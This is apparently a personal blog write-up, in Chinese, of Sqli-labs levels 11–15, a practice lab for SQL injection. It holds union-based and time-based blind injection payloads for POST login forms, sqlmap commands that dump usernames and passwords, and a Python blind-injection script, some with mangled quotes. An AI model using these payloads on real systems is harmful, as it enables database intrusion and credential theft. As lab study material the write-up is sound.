重闯Sqli-labs关卡第三天(11-15关)

时间:2021-10-27 03:26:28

前言

今天早上学了学网易云课堂的注入课程突然感觉网易云可i春秋联合出品的课程还不错,之后就刷了刷攻防世界的题,题有眉目但是还是忍不住看了WP 服了自己了!!!一直刷到了晚上也不知道几点我妈买了柚子回了吃了会 回来继续战斗 想起来自己自从回来就没怎么继续刷sql靶场的题了,又刷了五关题。总结下这五关内容现在已经两点了总结完就该睡了。

第十一关:(基于错误的POST型单引号字符型注入)

分析代码有报错可以使用多种注入方式

核心代码:

@$sql="SELECT username, password FROM users WHERE username=‘$uname‘ and password=‘$passwd‘ LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

手工注入payload:

1 uname=admin order by 2#&passwd=admin&submit=Submit
2 uname=admin union select 1,2#&passwd=admin&submit=Submit
3 uname=0 union select 1,2#&passwd=admin&submit=Submit
4 uname=0 union select user(),version() #&passwd=admin&submit=Submit
5 uname=0 union select 1,database()#&passwd=admin&submit=Submit
6 uname=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit
7 uname=0 union select 1,group_concat(column_name) from information_schema.columns where table_name=users#&passwd=admin&submit=Submit
8 uname=0 union select 1,group_concat(column_name) from information_schema.columns where table_name=users#&passwd=admin&submit=Submit
9 uname=0 UNION SELECT 1,GROUP_CONCAT(USERNAME,-,PASSWORD) FROM USERS#&passwd=admin&submit=Submit

SQLmap 注入payload:

bp抓包保存为lou.txt
python sqlmap.py -r lou.txt
python sqlmap.py -r lou.txt --dbs 列出所有数据库
python sqlmap.py -r lou.txt --current-dbs 列出当前数据库
python sqlmap.py -r lou.txt -D security --tables 列出security数据库中所有的表
python sqlmap.py -r lou.txt -D security -T "users" --columns 列出users表中的所有列
python sqlmap.py -r lou.txt -D security -T "users" -C "username","password" --dump 列出所有列中的数据

第十二关(基于错误的双引号POST型字符型变形的注入)

这一关仅在SQL语句处理上根12关不同其他都一一致 

核心代码:

$uname=‘"‘.$uname.‘"‘;
$passwd=‘"‘.$passwd.‘"‘; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

 

手工注入payload:

1 uname=admin") and 1=1 -- &passwd=admin&submit=Submit
2 uname=admin") and 1=2 -- &passwd=admin&submit=Submit
3 uname=admin") order by 2 -- &passwd=admin&submit=Submit
4 uname=0") union select 1,2 -- &passwd=admin&submit=Submit
5 uname=0") union select version(),database() -- &passwd=admin&submit=Submit
6 uname=0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- &passwd=admin&submit=Submit
7 uname=0") union select 1,group_concat(column_name) from information_schema.columns where table_name=users -- &passwd=admin&submit=Submit
8 uname=0") union select group_concat(username),group_concat(password) from users  -- &passwd=admin&submit=Submit

 

第十三关(POST单引号变形双注入)

这一关也是根上面差不多紧紧是SQL语句部分不一致

核心代码:

@$sql="SELECT username, password FROM users WHERE username=(‘$uname‘) and password=(‘$passwd‘) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

可以用上述方法进行注入

也可以用下面的脚本

python脚本:

 1 import requests
 2 import time
 3 url="http://192.168.233.1/lou/sql/Less-13/"   
 4 allString=‘‘‘1234567890~`[email protected]#$%^&*()-_= []{};:‘"|,<.>/?qwertyuiopasdfghjklzxcvbnm‘‘‘
 5 
 6 database=""
 7 
 8 for i in range(1,10):
 9     
10     for j in allString:
11         payload="admin‘) and if(substr(database(),{},1)=‘{}‘,sleep(3),1)#".format(int(i),str(j))
12         
13         data={
14                 "uname":payload,
15                 "passwd":"admin&submit=Submit"
16                 }   
17         print(data)
18         urls=requests.post(url,data=data)
19         #print(urls.text)
20         
21         t=urls.elapsed.total_seconds()
22         #print(j)
23         if t>=3:
24             #print(j)
25             database =j
26             print(data)
27      
28         elif t<3 and j==M:
29             break
30     
31 print(DATABASE:,database) 

 

第十四关

这一关也是紧sql语句处理部分不一致可以对比上面

核心代码:

$uname=‘"‘.$uname.‘"‘;
    $passwd=‘"‘.$passwd.‘"‘; 
    @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
    $result=mysql_query($sql);

注入参考上面皆可以

第十五关 (基于bool型/时间延迟单引号POST型盲注)

这一关与上面都不一样 这个页面没有报错信息 只有登录成功/失败页面 只能通过sleep()时间注入

核心代码:

@$sql="SELECT username, password FROM users WHERE username=‘$uname‘ and password=‘$passwd‘ LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

手工payload:

1 没任何错误信息只能盲注通过时间注入
2 uname=admin and 1=1 -- &passwd=admin&submit=Submit 
3 uname=admin and 1=1 -- &passwd=admin&submit=Submit 
4 uname=admin and sleep(5) -- &passwd=admin&submit=Submit 

工具注入 参考十三关脚本修改即可